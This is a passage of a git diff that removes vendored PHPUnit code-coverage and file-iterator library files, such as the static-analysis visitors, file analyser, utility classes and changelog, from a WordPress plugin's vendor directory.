$cyclomaticComplexityCalculatingVisitor->cyclomaticComplexity(); - } - - /** - * @psalm-param ClassMethod|Function_ $node - */ - private function signature(Node $node): string - { - assert($node instanceof ClassMethod || $node instanceof Function_); - - $signature = ($node->returnsByRef() ? '&' : '') . $node->name->toString() . '('; - $parameters = []; - - foreach ($node->getParams() as $parameter) { - assert(isset($parameter->var->name)); - - $parameterAsString = ''; - - if ($parameter->type !== null) { - $parameterAsString = $this->type($parameter->type) . ' '; - } - - $parameterAsString .= '$' . $parameter->var->name; - - /* @todo Handle default values */ - - $parameters[] = $parameterAsString; - } - - $signature .= implode(', ', $parameters) . ')'; - - $returnType = $node->getReturnType(); - - if ($returnType !== null) { - $signature .= ': ' . $this->type($returnType); - } - - return $signature; - } - - /** - * @psalm-param Identifier|Name|ComplexType $type - */ - private function type(Node $type): string - { - assert($type instanceof Identifier || $type instanceof Name || $type instanceof ComplexType); - - if ($type instanceof NullableType) { - return '?' . $type->type; - } - - if ($type instanceof UnionType) { - return $this->unionTypeAsString($type); - } - - if ($type instanceof IntersectionType) { - return $this->intersectionTypeAsString($type); - } - - return $type->toString(); - } - - private function visibility(ClassMethod $node): string - { - if ($node->isPrivate()) { - return 'private'; - } - - if ($node->isProtected()) { - return 'protected'; - } - - return 'public'; - } - - private function processClass(Class_ $node): void - { - $name = $node->name->toString(); - $namespacedName = $node->namespacedName->toString(); - - $this->classes[$namespacedName] = [ - 'name' => $name, - 'namespacedName' => $namespacedName, - 'namespace' => $this->namespace($namespacedName, $name), - 'startLine' => $node->getStartLine(), - 'endLine' => $node->getEndLine(), - 'methods' => [], - ]; - } - - private function processTrait(Trait_ $node): void - { - $name = $node->name->toString(); - $namespacedName = $node->namespacedName->toString(); - - $this->traits[$namespacedName] = [ - 'name' => $name, - 'namespacedName' => $namespacedName, - 'namespace' => $this->namespace($namespacedName, $name), - 'startLine' => $node->getStartLine(), - 'endLine' => $node->getEndLine(), - 'methods' => [], - ]; - } - - private function processMethod(ClassMethod $node): void - { - $parentNode = $node->getAttribute('parent'); - - if ($parentNode instanceof Interface_) { - return; - } - - assert($parentNode instanceof Class_ || $parentNode instanceof Trait_ || $parentNode instanceof Enum_); - assert(isset($parentNode->name)); - assert(isset($parentNode->namespacedName)); - assert($parentNode->namespacedName instanceof Name); - - $parentName = $parentNode->name->toString(); - $parentNamespacedName = $parentNode->namespacedName->toString(); - - if ($parentNode instanceof Class_) { - $storage = &$this->classes; - } else { - $storage = &$this->traits; - } - - if (!isset($storage[$parentNamespacedName])) { - $storage[$parentNamespacedName] = [ - 'name' => $parentName, - 'namespacedName' => $parentNamespacedName, - 'namespace' => $this->namespace($parentNamespacedName, $parentName), - 'startLine' => $parentNode->getStartLine(), - 'endLine' => $parentNode->getEndLine(), - 'methods' => [], - ]; - } - - $storage[$parentNamespacedName]['methods'][$node->name->toString()] = [ - 'methodName' => $node->name->toString(), - 'signature' => $this->signature($node), - 'visibility' => $this->visibility($node), - 'startLine' => $node->getStartLine(), - 'endLine' => $node->getEndLine(), - 'ccn' => $this->cyclomaticComplexity($node), - ]; - } - - private function processFunction(Function_ $node): void - { - assert(isset($node->name)); - assert(isset($node->namespacedName)); - assert($node->namespacedName instanceof Name); - - $name = $node->name->toString(); - $namespacedName = $node->namespacedName->toString(); - - $this->functions[$namespacedName] = [ - 'name' => $name, - 'namespacedName' => $namespacedName, - 'namespace' => $this->namespace($namespacedName, $name), - 'signature' => $this->signature($node), - 'startLine' => $node->getStartLine(), - 'endLine' => $node->getEndLine(), - 'ccn' => $this->cyclomaticComplexity($node), - ]; - } - - private function namespace(string $namespacedName, string $name): string - { - return trim(rtrim($namespacedName, $name), '\\'); - } - - private function unionTypeAsString(UnionType $node): string - { - $types = []; - - foreach ($node->types as $type) { - if ($type instanceof IntersectionType) { - $types[] = '(' . $this->intersectionTypeAsString($type) . ')'; - - continue; - } - - $types[] = $this->typeAsString($type); - } - - return implode('|', $types); - } - - private function intersectionTypeAsString(IntersectionType $node): string - { - $types = []; - - foreach ($node->types as $type) { - $types[] = $this->typeAsString($type); - } - - return implode('&', $types); - } - - /** - * @psalm-param Identifier|Name $node $node - */ - private function typeAsString(NodeAbstract $node): string - { - if ($node instanceof Name) { - return $node->toCodeString(); - } - - return $node->toString(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/ExecutableLinesFindingVisitor.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/ExecutableLinesFindingVisitor.php deleted file mode 100644 index 38e64c0b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/ExecutableLinesFindingVisitor.php +++ /dev/null @@ -1,390 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\StaticAnalysis; - -use function array_diff_key; -use function assert; -use function count; -use function current; -use function end; -use function explode; -use function max; -use function preg_match; -use function preg_quote; -use function range; -use function reset; -use function sprintf; -use PhpParser\Node; -use PhpParser\NodeVisitorAbstract; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class ExecutableLinesFindingVisitor extends NodeVisitorAbstract -{ - /** - * @var int - */ - private $nextBranch = 0; - - /** - * @var string - */ - private $source; - - /** - * @var array - */ - private $executableLinesGroupedByBranch = []; - - /** - * @var array - */ - private $unsets = []; - - /** - * @var array - */ - private $commentsToCheckForUnset = []; - - public function __construct(string $source) - { - $this->source = $source; - } - - public function enterNode(Node $node): void - { - foreach ($node->getComments() as $comment) { - $commentLine = $comment->getStartLine(); - - if (!isset($this->executableLinesGroupedByBranch[$commentLine])) { - continue; - } - - foreach (explode("\n", $comment->getText()) as $text) { - $this->commentsToCheckForUnset[$commentLine] = $text; - $commentLine++; - } - } - - if ($node instanceof Node\Scalar\String_ || - $node instanceof Node\Scalar\EncapsedStringPart) { - $startLine = $node->getStartLine() + 1; - $endLine = $node->getEndLine() - 1; - - if ($startLine <= $endLine) { - foreach (range($startLine, $endLine) as $line) { - unset($this->executableLinesGroupedByBranch[$line]); - } - } - - return; - } - - if ($node instanceof Node\Stmt\Interface_) { - foreach (range($node->getStartLine(), $node->getEndLine()) as $line) { - $this->unsets[$line] = true; - } - - return; - } - - if ($node instanceof Node\Stmt\Declare_ || - $node instanceof Node\Stmt\DeclareDeclare || - $node instanceof Node\Stmt\Else_ || - $node instanceof Node\Stmt\EnumCase || - $node instanceof Node\Stmt\Finally_ || - $node instanceof Node\Stmt\GroupUse || - $node instanceof Node\Stmt\Label || - $node instanceof Node\Stmt\Namespace_ || - $node instanceof Node\Stmt\Nop || - $node instanceof Node\Stmt\Switch_ || - $node instanceof Node\Stmt\TryCatch || - $node instanceof Node\Stmt\Use_ || - $node instanceof Node\Stmt\UseUse || - $node instanceof Node\Expr\ConstFetch || - $node instanceof Node\Expr\Match_ || - $node instanceof Node\Expr\Variable || - $node instanceof Node\Expr\Throw_ || - $node instanceof Node\ComplexType || - $node instanceof Node\Const_ || - $node instanceof Node\Identifier || - $node instanceof Node\Name || - $node instanceof Node\Param || - $node instanceof Node\Scalar) { - return; - } - - /* - * nikic/php-parser ^4.18 represents throw statements - * as Stmt\Throw_ objects - */ - if ($node instanceof Node\Stmt\Throw_) { - $this->setLineBranch($node->expr->getEndLine(), $node->expr->getEndLine(), ++$this->nextBranch); - - return; - } - - /* - * nikic/php-parser ^5 represents throw statements - * as Stmt\Expression objects that contain an - * Expr\Throw_ object - */ - if ($node instanceof Node\Stmt\Expression && $node->expr instanceof Node\Expr\Throw_) { - $this->setLineBranch($node->expr->expr->getEndLine(), $node->expr->expr->getEndLine(), ++$this->nextBranch); - - return; - } - - if ($node instanceof Node\Stmt\Enum_ || - $node instanceof Node\Stmt\Function_ || - $node instanceof Node\Stmt\Class_ || - $node instanceof Node\Stmt\ClassMethod || - $node instanceof Node\Expr\Closure || - $node instanceof Node\Stmt\Trait_) { - $isConcreteClassLike = $node instanceof Node\Stmt\Enum_ || $node instanceof Node\Stmt\Class_ || $node instanceof Node\Stmt\Trait_; - - if (null !== $node->stmts) { - foreach ($node->stmts as $stmt) { - if ($stmt instanceof Node\Stmt\Nop) { - continue; - } - - foreach (range($stmt->getStartLine(), $stmt->getEndLine()) as $line) { - unset($this->executableLinesGroupedByBranch[$line]); - - if ( - $isConcreteClassLike && - !$stmt instanceof Node\Stmt\ClassMethod - ) { - $this->unsets[$line] = true; - } - } - } - } - - if ($isConcreteClassLike) { - return; - } - - $hasEmptyBody = [] === $node->stmts || - null === $node->stmts || - ( - 1 === count($node->stmts) && - $node->stmts[0] instanceof Node\Stmt\Nop - ); - - if ($hasEmptyBody) { - if ($node->getEndLine() === $node->getStartLine()) { - return; - } - - $this->setLineBranch($node->getEndLine(), $node->getEndLine(), ++$this->nextBranch); - - return; - } - - return; - } - - if ($node instanceof Node\Expr\ArrowFunction) { - $startLine = max( - $node->getStartLine() + 1, - $node->expr->getStartLine() - ); - - $endLine = $node->expr->getEndLine(); - - if ($endLine < $startLine) { - return; - } - - $this->setLineBranch($startLine, $endLine, ++$this->nextBranch); - - return; - } - - if ($node instanceof Node\Expr\Ternary) { - if (null !== $node->if && - $node->getStartLine() !== $node->if->getEndLine()) { - $this->setLineBranch($node->if->getStartLine(), $node->if->getEndLine(), ++$this->nextBranch); - } - - if ($node->getStartLine() !== $node->else->getEndLine()) { - $this->setLineBranch($node->else->getStartLine(), $node->else->getEndLine(), ++$this->nextBranch); - } - - return; - } - - if ($node instanceof Node\Expr\BinaryOp\Coalesce) { - if ($node->getStartLine() !== $node->getEndLine()) { - $this->setLineBranch($node->getEndLine(), $node->getEndLine(), ++$this->nextBranch); - } - - return; - } - - if ($node instanceof Node\Stmt\If_ || - $node instanceof Node\Stmt\ElseIf_ || - $node instanceof Node\Stmt\Case_) { - if (null === $node->cond) { - return; - } - - $this->setLineBranch( - $node->cond->getStartLine(), - $node->cond->getStartLine(), - ++$this->nextBranch - ); - - return; - } - - if ($node instanceof Node\Stmt\For_) { - $startLine = null; - $endLine = null; - - if ([] !== $node->init) { - $startLine = $node->init[0]->getStartLine(); - - end($node->init); - - $endLine = current($node->init)->getEndLine(); - - reset($node->init); - } - - if ([] !== $node->cond) { - if (null === $startLine) { - $startLine = $node->cond[0]->getStartLine(); - } - - end($node->cond); - - $endLine = current($node->cond)->getEndLine(); - - reset($node->cond); - } - - if ([] !== $node->loop) { - if (null === $startLine) { - $startLine = $node->loop[0]->getStartLine(); - } - - end($node->loop); - - $endLine = current($node->loop)->getEndLine(); - - reset($node->loop); - } - - if (null === $startLine || null === $endLine) { - return; - } - - $this->setLineBranch( - $startLine, - $endLine, - ++$this->nextBranch - ); - - return; - } - - if ($node instanceof Node\Stmt\Foreach_) { - $this->setLineBranch( - $node->expr->getStartLine(), - $node->valueVar->getEndLine(), - ++$this->nextBranch - ); - - return; - } - - if ($node instanceof Node\Stmt\While_ || - $node instanceof Node\Stmt\Do_) { - $this->setLineBranch( - $node->cond->getStartLine(), - $node->cond->getEndLine(), - ++$this->nextBranch - ); - - return; - } - - if ($node instanceof Node\Stmt\Catch_) { - assert([] !== $node->types); - $startLine = $node->types[0]->getStartLine(); - end($node->types); - $endLine = current($node->types)->getEndLine(); - - $this->setLineBranch( - $startLine, - $endLine, - ++$this->nextBranch - ); - - return; - } - - if ($node instanceof Node\Expr\CallLike) { - if (isset($this->executableLinesGroupedByBranch[$node->getStartLine()])) { - $branch = $this->executableLinesGroupedByBranch[$node->getStartLine()]; - } else { - $branch = ++$this->nextBranch; - } - - $this->setLineBranch($node->getStartLine(), $node->getEndLine(), $branch); - - return; - } - - if (isset($this->executableLinesGroupedByBranch[$node->getStartLine()])) { - return; - } - - $this->setLineBranch($node->getStartLine(), $node->getEndLine(), ++$this->nextBranch); - } - - public function afterTraverse(array $nodes): void - { - $lines = explode("\n", $this->source); - - foreach ($lines as $lineNumber => $line) { - $lineNumber++; - - if (1 === preg_match('/^\s*$/', $line) || - ( - isset($this->commentsToCheckForUnset[$lineNumber]) && - 1 === preg_match(sprintf('/^\s*%s\s*$/', preg_quote($this->commentsToCheckForUnset[$lineNumber], '/')), $line) - )) { - unset($this->executableLinesGroupedByBranch[$lineNumber]); - } - } - - $this->executableLinesGroupedByBranch = array_diff_key( - $this->executableLinesGroupedByBranch, - $this->unsets - ); - } - - public function executableLinesGroupedByBranch(): array - { - return $this->executableLinesGroupedByBranch; - } - - private function setLineBranch(int $start, int $end, int $branch): void - { - foreach (range($start, $end) as $line) { - $this->executableLinesGroupedByBranch[$line] = $branch; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/FileAnalyser.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/FileAnalyser.php deleted file mode 100644 index 3dbcf68f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/FileAnalyser.php +++ /dev/null @@ -1,31 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\StaticAnalysis; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -interface FileAnalyser -{ - public function classesIn(string $filename): array; - - public function traitsIn(string $filename): array; - - public function functionsIn(string $filename): array; - - /** - * @psalm-return array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} - */ - public function linesOfCodeFor(string $filename): array; - - public function executableLinesIn(string $filename): array; - - public function ignoredLinesFor(string $filename): array; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/IgnoredLinesFindingVisitor.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/IgnoredLinesFindingVisitor.php deleted file mode 100644 index 3c0b2373..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/IgnoredLinesFindingVisitor.php +++ /dev/null @@ -1,119 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\StaticAnalysis; - -use function array_merge; -use function assert; -use function range; -use function strpos; -use PhpParser\Node; -use PhpParser\Node\Attribute; -use PhpParser\Node\Stmt\Class_; -use PhpParser\Node\Stmt\ClassMethod; -use PhpParser\Node\Stmt\Function_; -use PhpParser\Node\Stmt\Interface_; -use PhpParser\Node\Stmt\Trait_; -use PhpParser\NodeVisitorAbstract; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class IgnoredLinesFindingVisitor extends NodeVisitorAbstract -{ - /** - * @psalm-var list - */ - private $ignoredLines = []; - - /** - * @var bool - */ - private $useAnnotationsForIgnoringCode; - - /** - * @var bool - */ - private $ignoreDeprecated; - - public function __construct(bool $useAnnotationsForIgnoringCode, bool $ignoreDeprecated) - { - $this->useAnnotationsForIgnoringCode = $useAnnotationsForIgnoringCode; - $this->ignoreDeprecated = $ignoreDeprecated; - } - - public function enterNode(Node $node): void - { - if (!$node instanceof Class_ && - !$node instanceof Trait_ && - !$node instanceof Interface_ && - !$node instanceof ClassMethod && - !$node instanceof Function_ && - !$node instanceof Attribute) { - return; - } - - if ($node instanceof Class_ && $node->isAnonymous()) { - return; - } - - if ($node instanceof Class_ || - $node instanceof Trait_ || - $node instanceof Interface_ || - $node instanceof Attribute) { - $this->ignoredLines[] = $node->getStartLine(); - - assert($node->name !== null); - - // Workaround for https://github.com/nikic/PHP-Parser/issues/886 - $this->ignoredLines[] = $node->name->getStartLine(); - } - - if (!$this->useAnnotationsForIgnoringCode) { - return; - } - - if ($node instanceof Interface_) { - return; - } - - $this->processDocComment($node); - } - - /** - * @psalm-return list - */ - public function ignoredLines(): array - { - return $this->ignoredLines; - } - - private function processDocComment(Node $node): void - { - $docComment = $node->getDocComment(); - - if ($docComment === null) { - return; - } - - if (strpos($docComment->getText(), '@codeCoverageIgnore') !== false) { - $this->ignoredLines = array_merge( - $this->ignoredLines, - range($node->getStartLine(), $node->getEndLine()) - ); - } - - if ($this->ignoreDeprecated && strpos($docComment->getText(), '@deprecated') !== false) { - $this->ignoredLines = array_merge( - $this->ignoredLines, - range($node->getStartLine(), $node->getEndLine()) - ); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/ParsingFileAnalyser.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/ParsingFileAnalyser.php deleted file mode 100644 index 923b1f50..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/ParsingFileAnalyser.php +++ /dev/null @@ -1,249 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\StaticAnalysis; - -use function array_merge; -use function array_unique; -use function assert; -use function file_get_contents; -use function is_array; -use function max; -use function range; -use function sort; -use function sprintf; -use function substr_count; -use function token_get_all; -use function trim; -use PhpParser\Error; -use PhpParser\NodeTraverser; -use PhpParser\NodeVisitor\NameResolver; -use PhpParser\NodeVisitor\ParentConnectingVisitor; -use PhpParser\ParserFactory; -use SebastianBergmann\CodeCoverage\ParserException; -use SebastianBergmann\LinesOfCode\LineCountingVisitor; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class ParsingFileAnalyser implements FileAnalyser -{ - /** - * @var array - */ - private $classes = []; - - /** - * @var array - */ - private $traits = []; - - /** - * @var array - */ - private $functions = []; - - /** - * @var array - */ - private $linesOfCode = []; - - /** - * @var array - */ - private $ignoredLines = []; - - /** - * @var array - */ - private $executableLines = []; - - /** - * @var bool - */ - private $useAnnotationsForIgnoringCode; - - /** - * @var bool - */ - private $ignoreDeprecatedCode; - - public function __construct(bool $useAnnotationsForIgnoringCode, bool $ignoreDeprecatedCode) - { - $this->useAnnotationsForIgnoringCode = $useAnnotationsForIgnoringCode; - $this->ignoreDeprecatedCode = $ignoreDeprecatedCode; - } - - public function classesIn(string $filename): array - { - $this->analyse($filename); - - return $this->classes[$filename]; - } - - public function traitsIn(string $filename): array - { - $this->analyse($filename); - - return $this->traits[$filename]; - } - - public function functionsIn(string $filename): array - { - $this->analyse($filename); - - return $this->functions[$filename]; - } - - /** - * @psalm-return array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} - */ - public function linesOfCodeFor(string $filename): array - { - $this->analyse($filename); - - return $this->linesOfCode[$filename]; - } - - public function executableLinesIn(string $filename): array - { - $this->analyse($filename); - - return $this->executableLines[$filename]; - } - - public function ignoredLinesFor(string $filename): array - { - $this->analyse($filename); - - return $this->ignoredLines[$filename]; - } - - /** - * @throws ParserException - */ - private function analyse(string $filename): void - { - if (isset($this->classes[$filename])) { - return; - } - - $source = file_get_contents($filename); - $linesOfCode = max(substr_count($source, "\n") + 1, substr_count($source, "\r") + 1); - - if ($linesOfCode === 0 && !empty($source)) { - $linesOfCode = 1; - } - - $parser = (new ParserFactory)->createForHostVersion(); - - try { - $nodes = $parser->parse($source); - - assert($nodes !== null); - - $traverser = new NodeTraverser; - $codeUnitFindingVisitor = new CodeUnitFindingVisitor; - $lineCountingVisitor = new LineCountingVisitor($linesOfCode); - $ignoredLinesFindingVisitor = new IgnoredLinesFindingVisitor($this->useAnnotationsForIgnoringCode, $this->ignoreDeprecatedCode); - $executableLinesFindingVisitor = new ExecutableLinesFindingVisitor($source); - - $traverser->addVisitor(new NameResolver); - $traverser->addVisitor(new ParentConnectingVisitor); - $traverser->addVisitor($codeUnitFindingVisitor); - $traverser->addVisitor($lineCountingVisitor); - $traverser->addVisitor($ignoredLinesFindingVisitor); - $traverser->addVisitor($executableLinesFindingVisitor); - - /* @noinspection UnusedFunctionResultInspection */ - $traverser->traverse($nodes); - // @codeCoverageIgnoreStart - } catch (Error $error) { - throw new ParserException( - sprintf( - 'Cannot parse %s: %s', - $filename, - $error->getMessage() - ), - $error->getCode(), - $error - ); - } - // @codeCoverageIgnoreEnd - - $this->classes[$filename] = $codeUnitFindingVisitor->classes(); - $this->traits[$filename] = $codeUnitFindingVisitor->traits(); - $this->functions[$filename] = $codeUnitFindingVisitor->functions(); - $this->executableLines[$filename] = $executableLinesFindingVisitor->executableLinesGroupedByBranch(); - $this->ignoredLines[$filename] = []; - - $this->findLinesIgnoredByLineBasedAnnotations($filename, $source, $this->useAnnotationsForIgnoringCode); - - $this->ignoredLines[$filename] = array_unique( - array_merge( - $this->ignoredLines[$filename], - $ignoredLinesFindingVisitor->ignoredLines() - ) - ); - - sort($this->ignoredLines[$filename]); - - $result = $lineCountingVisitor->result(); - - $this->linesOfCode[$filename] = [ - 'linesOfCode' => $result->linesOfCode(), - 'commentLinesOfCode' => $result->commentLinesOfCode(), - 'nonCommentLinesOfCode' => $result->nonCommentLinesOfCode(), - ]; - } - - private function findLinesIgnoredByLineBasedAnnotations(string $filename, string $source, bool $useAnnotationsForIgnoringCode): void - { - if (!$useAnnotationsForIgnoringCode) { - return; - } - - $start = false; - - foreach (token_get_all($source) as $token) { - if (!is_array($token) || - !(T_COMMENT === $token[0] || T_DOC_COMMENT === $token[0])) { - continue; - } - - $comment = trim($token[1]); - - if ($comment === '// @codeCoverageIgnore' || - $comment === '//@codeCoverageIgnore') { - $this->ignoredLines[$filename][] = $token[2]; - - continue; - } - - if ($comment === '// @codeCoverageIgnoreStart' || - $comment === '//@codeCoverageIgnoreStart') { - $start = $token[2]; - - continue; - } - - if ($comment === '// @codeCoverageIgnoreEnd' || - $comment === '//@codeCoverageIgnoreEnd') { - if (false === $start) { - $start = $token[2]; - } - - $this->ignoredLines[$filename] = array_merge( - $this->ignoredLines[$filename], - range($start, $token[2]) - ); - } - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Util/Filesystem.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Util/Filesystem.php deleted file mode 100644 index ff0e16ae..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Util/Filesystem.php +++ /dev/null @@ -1,37 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Util; - -use function is_dir; -use function mkdir; -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Filesystem -{ - /** - * @throws DirectoryCouldNotBeCreatedException - */ - public static function createDirectory(string $directory): void - { - $success = !(!is_dir($directory) && !@mkdir($directory, 0777, true) && !is_dir($directory)); - - if (!$success) { - throw new DirectoryCouldNotBeCreatedException( - sprintf( - 'Directory "%s" could not be created', - $directory - ) - ); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Util/Percentage.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Util/Percentage.php deleted file mode 100644 index 0f7a3fec..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Util/Percentage.php +++ /dev/null @@ -1,66 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Util; - -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Percentage -{ - /** - * @var float - */ - private $fraction; - - /** - * @var float - */ - private $total; - - public static function fromFractionAndTotal(float $fraction, float $total): self - { - return new self($fraction, $total); - } - - private function __construct(float $fraction, float $total) - { - $this->fraction = $fraction; - $this->total = $total; - } - - public function asFloat(): float - { - if ($this->total > 0) { - return ($this->fraction / $this->total) * 100; - } - - return 100.0; - } - - public function asString(): string - { - if ($this->total > 0) { - return sprintf('%01.2F%%', $this->asFloat()); - } - - return ''; - } - - public function asFixedWidthString(): string - { - if ($this->total > 0) { - return sprintf('%6.2F%%', $this->asFloat()); - } - - return ''; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Version.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Version.php deleted file mode 100644 index 93cf32d9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Version.php +++ /dev/null @@ -1,30 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use function dirname; -use SebastianBergmann\Version as VersionId; - -final class Version -{ - /** - * @var string - */ - private static $version; - - public static function id(): string - { - if (self::$version === null) { - self::$version = (new VersionId('9.2.32', dirname(__DIR__)))->getVersion(); - } - - return self::$version; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/.psalm/baseline.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/.psalm/baseline.xml deleted file mode 100644 index 8b6cdc24..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/.psalm/baseline.xml +++ /dev/null @@ -1,8 +0,0 @@ - - - - - current - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/.psalm/config.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/.psalm/config.xml deleted file mode 100644 index 2a4b16f2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/.psalm/config.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/ChangeLog.md deleted file mode 100644 index 44833762..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/ChangeLog.md +++ /dev/null @@ -1,144 +0,0 @@ -# Change Log - -All notable changes to this project will be documented in this file. This project adheres to [Semantic Versioning](http://semver.org/). - -## [3.0.6] - 2021-12-02 - -### Changed - -* [#73](https://github.com/sebastianbergmann/php-file-iterator/pull/73): Micro performance improvements on parsing paths - -## [3.0.5] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [3.0.4] - 2020-07-11 - -### Fixed - -* [#67](https://github.com/sebastianbergmann/php-file-iterator/issues/67): `TypeError` in `SebastianBergmann\FileIterator\Iterator::accept()` - -## [3.0.3] - 2020-06-26 - -### Added - -* This component is now supported on PHP 8 - -## [3.0.2] - 2020-06-15 - -### Changed - -* Tests etc. are now ignored for archive exports - -## [3.0.1] - 2020-04-18 - -### Fixed - -* [#64](https://github.com/sebastianbergmann/php-file-iterator/issues/64): Release tarball contains Composer PHAR - -## [3.0.0] - 2020-02-07 - -### Removed - -* This component is no longer supported on PHP 7.1 and PHP 7.2 - -## [2.0.5] - 2021-12-02 - -### Changed - -* [#73](https://github.com/sebastianbergmann/php-file-iterator/pull/73): Micro performance improvements on parsing paths - -### Fixed - -* [#74](https://github.com/sebastianbergmann/php-file-iterator/pull/74): Document return type of `SebastianBergmann\FileIterator\Iterator::accept()` so that Symfony's `DebugClassLoader` does not trigger a deprecation warning - -## [2.0.4] - 2021-07-19 - -### Changed - -* Added `ReturnTypeWillChange` attribute to `SebastianBergmann\FileIterator\Iterator::accept()` because the return type of `\FilterIterator::accept()` will change in PHP 8.1 - -## [2.0.3] - 2020-11-30 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.1` to `>=7.1` - -## [2.0.2] - 2018-09-13 - -### Fixed - -* [#48](https://github.com/sebastianbergmann/php-file-iterator/issues/48): Excluding an array that contains false ends up excluding the current working directory - -## [2.0.1] - 2018-06-11 - -### Fixed - -* [#46](https://github.com/sebastianbergmann/php-file-iterator/issues/46): Regression with hidden parent directory - -## [2.0.0] - 2018-05-28 - -### Fixed - -* [#30](https://github.com/sebastianbergmann/php-file-iterator/issues/30): Exclude is not considered if it is a parent of the base path - -### Changed - -* This component now uses namespaces - -### Removed - -* This component is no longer supported on PHP 5.3, PHP 5.4, PHP 5.5, PHP 5.6, and PHP 7.0 - -## [1.4.5] - 2017-11-27 - -### Fixed - -* [#37](https://github.com/sebastianbergmann/php-file-iterator/issues/37): Regression caused by fix for [#30](https://github.com/sebastianbergmann/php-file-iterator/issues/30) - -## [1.4.4] - 2017-11-27 - -### Fixed - -* [#30](https://github.com/sebastianbergmann/php-file-iterator/issues/30): Exclude is not considered if it is a parent of the base path - -## [1.4.3] - 2017-11-25 - -### Fixed - -* [#34](https://github.com/sebastianbergmann/php-file-iterator/issues/34): Factory should use canonical directory names - -## [1.4.2] - 2016-11-26 - -No changes - -## [1.4.1] - 2015-07-26 - -No changes - -## 1.4.0 - 2015-04-02 - -### Added - -* 